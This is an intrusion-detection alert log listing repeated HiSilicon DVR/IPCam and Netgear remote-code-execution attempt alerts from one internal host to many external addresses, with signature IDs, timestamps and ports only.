ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.176.138.11

Timestamp:	05/16/24-16:38:53.066985
SID:	2030487
Source Port:	37860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.11.178.135

Timestamp:	05/16/24-16:39:08.136402
SID:	2030488
Source Port:	54594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.234.79.61

Timestamp:	05/16/24-16:39:14.507738
SID:	2030487
Source Port:	38030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.234.79.61

Timestamp:	05/16/24-16:39:14.507738
SID:	2030488
Source Port:	38030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 37.208.175.64

Timestamp:	05/16/24-16:39:13.662034
SID:	2029215
Source Port:	33188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.160.164.130

Timestamp:	05/16/24-16:39:16.603159
SID:	2030488
Source Port:	45118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.11.178.135

Timestamp:	05/16/24-16:39:08.136402
SID:	2030487
Source Port:	54594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.160.164.130

Timestamp:	05/16/24-16:39:16.603159
SID:	2030487
Source Port:	45118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.143.145.21

Timestamp:	05/16/24-16:38:53.099095
SID:	2030487
Source Port:	55100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.143.145.21

Timestamp:	05/16/24-16:38:53.099095
SID:	2030488
Source Port:	55100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.166.135.92

Timestamp:	05/16/24-16:39:02.766979
SID:	2030488
Source Port:	33948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.166.135.92

Timestamp:	05/16/24-16:39:02.766979
SID:	2030487
Source Port:	33948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.131.77.254

Timestamp:	05/16/24-16:39:16.604784
SID:	2030487
Source Port:	46040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.45.146.233

Timestamp:	05/16/24-16:39:16.581424
SID:	2030488
Source Port:	34842
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.45.146.233

Timestamp:	05/16/24-16:39:16.581424
SID:	2030487
Source Port:	34842
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.122.165.236

Timestamp:	05/16/24-16:38:59.519414
SID:	2030487
Source Port:	41740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.122.165.236

Timestamp:	05/16/24-16:38:59.519414
SID:	2030488
Source Port:	41740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.73.221.146

Timestamp:	05/16/24-16:39:05.694649
SID:	2030487
Source Port:	33994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.73.221.146

Timestamp:	05/16/24-16:39:05.694649
SID:	2030488
Source Port:	33994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.102.229.186

Timestamp:	05/16/24-16:39:16.605743
SID:	2030487
Source Port:	37820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.102.229.186

Timestamp:	05/16/24-16:39:16.605743
SID:	2030488
Source Port:	37820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.30.67.193

Timestamp:	05/16/24-16:39:08.126486
SID:	2030488
Source Port:	47076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.2.157.233

Timestamp:	05/16/24-16:38:59.519360
SID:	2030487
Source Port:	37618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.30.67.193

Timestamp:	05/16/24-16:39:08.126486
SID:	2030487
Source Port:	47076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.2.157.233

Timestamp:	05/16/24-16:38:59.519360
SID:	2030488
Source Port:	37618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.121.250.71

Timestamp:	05/16/24-16:39:14.493575
SID:	2030488
Source Port:	54446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.121.250.71

Timestamp:	05/16/24-16:39:14.493575
SID:	2030487
Source Port:	54446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.221.224.169

Timestamp:	05/16/24-16:38:57.407570
SID:	2030487
Source Port:	57648
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.221.224.169

Timestamp:	05/16/24-16:38:57.407570
SID:	2030488
Source Port:	57648
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.191.238.61

Timestamp:	05/16/24-16:39:16.598471
SID:	2030488
Source Port:	38672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.191.238.61

Timestamp:	05/16/24-16:39:16.598471
SID:	2030487
Source Port:	38672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.216.208.123

Timestamp:	05/16/24-16:39:05.676844
SID:	2030487
Source Port:	38076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.45.106.54

Timestamp:	05/16/24-16:38:53.094093
SID:	2030488
Source Port:	58234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.216.208.123

Timestamp:	05/16/24-16:39:05.676844
SID:	2030488
Source Port:	38076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.250.65.246

Timestamp:	05/16/24-16:39:08.041175
SID:	2030487
Source Port:	56288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.250.65.246

Timestamp:	05/16/24-16:39:08.041175
SID:	2030488
Source Port:	56288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.199.191.65

Timestamp:	05/16/24-16:38:50.053180
SID:	2030487
Source Port:	45198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.199.191.65

Timestamp:	05/16/24-16:38:50.053180
SID:	2030488
Source Port:	45198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.82.87.68

Timestamp:	05/16/24-16:38:53.094093
SID:	2030488
Source Port:	57782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.82.87.68

Timestamp:	05/16/24-16:38:53.094093
SID:	2030487
Source Port:	57782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.49.142.251

Timestamp:	05/16/24-16:38:55.207731
SID:	2030487
Source Port:	40492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.49.142.251

Timestamp:	05/16/24-16:38:55.207731
SID:	2030488
Source Port:	40492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.32.94.134

Timestamp:	05/16/24-16:39:16.580745
SID:	2030488
Source Port:	60516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.32.94.134

Timestamp:	05/16/24-16:39:16.580745
SID:	2030487
Source Port:	60516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.16.206.159

Timestamp:	05/16/24-16:38:53.011306
SID:	2030487
Source Port:	50868
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.16.206.159

Timestamp:	05/16/24-16:38:53.011306
SID:	2030488
Source Port:	50868
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.91.87.126

Timestamp:	05/16/24-16:38:55.177025
SID:	2030488
Source Port:	58158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.210.27.246

Timestamp:	05/16/24-16:39:12.407612
SID:	2030487
Source Port:	50038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.91.87.126

Timestamp:	05/16/24-16:38:55.177025
SID:	2030487
Source Port:	58158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.210.27.246

Timestamp:	05/16/24-16:39:12.407612
SID:	2030488
Source Port:	50038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.12.185.109

Timestamp:	05/16/24-16:39:05.675848
SID:	2030488
Source Port:	35288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.85.8.154

Timestamp:	05/16/24-16:39:08.124558
SID:	2030487
Source Port:	36190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.85.8.154

Timestamp:	05/16/24-16:39:08.124558
SID:	2030488
Source Port:	36190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.12.185.109

Timestamp:	05/16/24-16:39:05.675848
SID:	2030487
Source Port:	35288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.71.182.226

Timestamp:	05/16/24-16:38:55.206768
SID:	2030487
Source Port:	33576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.39.30.104

Timestamp:	05/16/24-16:39:02.767166
SID:	2030487
Source Port:	53826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.61.88.186

Timestamp:	05/16/24-16:39:08.124489
SID:	2030487
Source Port:	52050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.71.182.226

Timestamp:	05/16/24-16:38:55.206768
SID:	2030488
Source Port:	33576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.39.30.104

Timestamp:	05/16/24-16:39:02.767166
SID:	2030488
Source Port:	53826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.61.88.186

Timestamp:	05/16/24-16:39:08.124489
SID:	2030488
Source Port:	52050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.46.153.75

Timestamp:	05/16/24-16:39:03.264585
SID:	2030487
Source Port:	38542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.46.153.75

Timestamp:	05/16/24-16:39:03.264585
SID:	2030488
Source Port:	38542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.33.251.141

Timestamp:	05/16/24-16:39:14.491227
SID:	2030487
Source Port:	42342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.33.251.141

Timestamp:	05/16/24-16:39:14.491227
SID:	2030488
Source Port:	42342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.196.19.137

Timestamp:	05/16/24-16:38:57.409854
SID:	2030487
Source Port:	58018
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.196.19.137

Timestamp:	05/16/24-16:38:57.409854
SID:	2030488
Source Port:	58018
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.115.130.19

Timestamp:	05/16/24-16:39:08.127127
SID:	2030488
Source Port:	47596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.115.130.19

Timestamp:	05/16/24-16:39:08.127127
SID:	2030487
Source Port:	47596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.59.213.168

Timestamp:	05/16/24-16:39:12.403774
SID:	2030488
Source Port:	59666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.68.177.102

Timestamp:	05/16/24-16:39:03.280095
SID:	2030488
Source Port:	41470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.59.213.168

Timestamp:	05/16/24-16:39:12.403774
SID:	2030487
Source Port:	59666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.68.177.102

Timestamp:	05/16/24-16:39:03.280095
SID:	2030487
Source Port:	41470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.209.5.96

Timestamp:	05/16/24-16:39:08.127939
SID:	2030488
Source Port:	55328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.209.5.96

Timestamp:	05/16/24-16:39:08.127939
SID:	2030487
Source Port:	55328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.251.82.77

Timestamp:	05/16/24-16:39:02.726986
SID:	2030487
Source Port:	33840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.251.82.77

Timestamp:	05/16/24-16:39:02.726986
SID:	2030488
Source Port:	33840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.178.213.12

Timestamp:	05/16/24-16:39:12.383715
SID:	2030488
Source Port:	34642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.178.213.12

Timestamp:	05/16/24-16:39:12.383715
SID:	2030487
Source Port:	34642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.245.253.159

Timestamp:	05/16/24-16:39:16.603454
SID:	2030488
Source Port:	46852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.100.118.45

Timestamp:	05/16/24-16:39:12.403696
SID:	2030487
Source Port:	53556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.100.118.45

Timestamp:	05/16/24-16:39:12.403696
SID:	2030488
Source Port:	53556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.245.253.159

Timestamp:	05/16/24-16:39:16.603454
SID:	2030487
Source Port:	46852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.176.87.89

Timestamp:	05/16/24-16:38:50.052092
SID:	2030487
Source Port:	54326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.176.87.89

Timestamp:	05/16/24-16:38:50.052092
SID:	2030488
Source Port:	54326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.121.120.25

Timestamp:	05/16/24-16:39:08.035621
SID:	2030488
Source Port:	46832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.121.120.25

Timestamp:	05/16/24-16:39:08.035621
SID:	2030487
Source Port:	46832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.75.96.74

Timestamp:	05/16/24-16:39:14.509931
SID:	2030487
Source Port:	60660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.75.96.74

Timestamp:	05/16/24-16:39:14.509931
SID:	2030488
Source Port:	60660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.77.45.147

Timestamp:	05/16/24-16:39:05.702420
SID:	2030488
Source Port:	46224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.77.45.147

Timestamp:	05/16/24-16:39:05.702420
SID:	2030487
Source Port:	46224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.138.183.124

Timestamp:	05/16/24-16:39:14.494706
SID:	2030488
Source Port:	52166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.138.183.124

Timestamp:	05/16/24-16:39:14.494706
SID:	2030487
Source Port:	52166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.116.38.246

Timestamp:	05/16/24-16:38:55.225130
SID:	2030487
Source Port:	56956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.147.73.206

Timestamp:	05/16/24-16:39:08.041913
SID:	2030487
Source Port:	54294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.147.73.206

Timestamp:	05/16/24-16:39:08.041913
SID:	2030488
Source Port:	54294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.144.0.149

Timestamp:	05/16/24-16:39:12.384487
SID:	2030488
Source Port:	51898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.76.227.154

Timestamp:	05/16/24-16:38:59.518392
SID:	2030488
Source Port:	41344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.76.227.154

Timestamp:	05/16/24-16:38:59.518392
SID:	2030487
Source Port:	41344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.144.0.149

Timestamp:	05/16/24-16:39:12.384487
SID:	2030487
